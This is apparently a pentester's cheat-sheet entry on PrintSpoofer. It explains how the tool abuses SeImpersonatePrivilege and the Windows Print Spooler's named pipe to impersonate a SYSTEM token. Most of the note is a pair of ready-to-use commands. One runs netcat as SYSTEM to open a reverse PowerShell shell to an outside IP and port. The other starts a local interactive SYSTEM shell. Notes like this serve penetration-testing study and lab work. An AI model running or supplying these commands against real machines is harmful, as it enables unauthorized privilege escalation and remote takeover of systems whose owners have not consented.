Summary

PrintSpoofer can be used for local privilege escalation to SYSTEM when the current account has SeImpersonatePrivilege. It abuses Windows impersonation by coercing a privileged process into authenticating to the attacker-controlled process, allowing the SYSTEM token to be impersonated.

PrintSpoofer abuses the Print Spooler (spoolsv.exe) to get a privileged SYSTEM process to connect to an attacker-controlled named pipe. It then uses SeImpersonatePrivilege to impersonate that SYSTEM token.

Commands

.\PrintSpoofer64.exe -c ".\nc.exe 192.168.45.169 1337 -e powershell" - Starting a reverse shell
.\PrintSpoofer64.exe -i -c cmd - Lunch an interactive shell locally (good with RDP access)

References

Similar tools: GodPotato